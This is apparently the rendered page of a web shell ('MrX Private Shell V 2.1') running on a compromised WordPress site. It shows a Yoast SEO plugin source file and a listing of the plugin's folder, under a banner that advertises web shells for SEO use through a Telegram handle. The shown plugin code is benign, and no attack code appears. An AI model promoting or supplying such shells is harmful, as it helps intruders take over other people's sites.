__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Integrations;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Feature_Flag_Conditional;
/**
* Gathers all feature flags and surfaces them to the JavaScript side of the plugin.
*/
class Feature_Flag_Integration implements Integration_Interface {
/**
* The admin asset manager.
*
* @var WPSEO_Admin_Asset_Manager
*/
protected $asset_manager;
/**
* All of the feature flag conditionals.
*
* @var Feature_Flag_Conditional[]
*/
protected $feature_flags;
/**
* Feature_Flag_Integration constructor.
*
* @param WPSEO_Admin_Asset_Manager $asset_manager The admin asset manager.
* @param Feature_Flag_Conditional ...$feature_flags All of the known feature flag conditionals.
*/
public function __construct( WPSEO_Admin_Asset_Manager $asset_manager, Feature_Flag_Conditional ...$feature_flags ) {
$this->asset_manager = $asset_manager;
$this->feature_flags = $feature_flags;
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return string[] The conditionals based on which this loadable should be active.
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Initializes the integration.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_init', [ $this, 'add_feature_flags' ] );
}
/**
* Gathers all the feature flags and injects them into the JavaScript.
*
* @return void
*/
public function add_feature_flags() {
$enabled_features = $this->get_enabled_features();
// Localize under both names for BC.
$this->asset_manager->localize_script( 'feature-flag-package', 'wpseoFeatureFlags', $enabled_features );
$this->asset_manager->localize_script( 'feature-flag-package', 'wpseoFeaturesL10n', $enabled_features );
}
/**
* Returns an array of all enabled feature flags.
*
* @return string[] The array of enabled features.
*/
public function get_enabled_features() {
$enabled_features = [];
foreach ( $this->feature_flags as $feature_flag ) {
if ( $feature_flag->is_met() ) {
$enabled_features[] = $feature_flag->get_feature_name();
}
}
return $this->filter_enabled_features( $enabled_features );
}
/**
* Runs the list of enabled feature flags through a filter.
*
* @param string[] $enabled_features The list of currently enabled feature flags.
*
* @return string[] The (possibly adapted) list of enabled features.
*/
protected function filter_enabled_features( $enabled_features ) {
/**
* Filters the list of currently enabled feature flags.
*
* @param string[] $enabled_features The current list of enabled feature flags.
*/
$filtered_enabled_features = \apply_filters( 'wpseo_enable_feature', $enabled_features );
if ( ! \is_array( $filtered_enabled_features ) ) {
$filtered_enabled_features = $enabled_features;
}
return $filtered_enabled_features;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0775 |
|
|
| alerts | Folder | 0775 |
|
|
| blocks | Folder | 0775 |
|
|
| front-end | Folder | 0775 |
|
|
| third-party | Folder | 0775 |
|
|
| watchers | Folder | 0775 |
|
|
| abstract-exclude-post-type.php | File | 1.14 KB | 0775 |
|
| academy-integration.php | File | 4.51 KB | 0775 |
|
| breadcrumbs-integration.php | File | 2.02 KB | 0775 |
|
| cleanup-integration.php | File | 9.72 KB | 0775 |
|
| estimated-reading-time.php | File | 1.08 KB | 0775 |
|
| exclude-attachment-post-type.php | File | 810 B | 0775 |
|
| exclude-oembed-cache-post-type.php | File | 822 B | 0775 |
|
| feature-flag-integration.php | File | 2.93 KB | 0775 |
|
| front-end-integration.php | File | 16.5 KB | 0775 |
|
| integration-interface.php | File | 426 B | 0775 |
|
| primary-category.php | File | 1.95 KB | 0775 |
|
| settings-integration.php | File | 32.32 KB | 0775 |
|
| support-integration.php | File | 4.48 KB | 0775 |
|
| uninstall-integration.php | File | 1006 B | 0775 |
|
| xmlrpc.php | File | 1.22 KB | 0775 |
|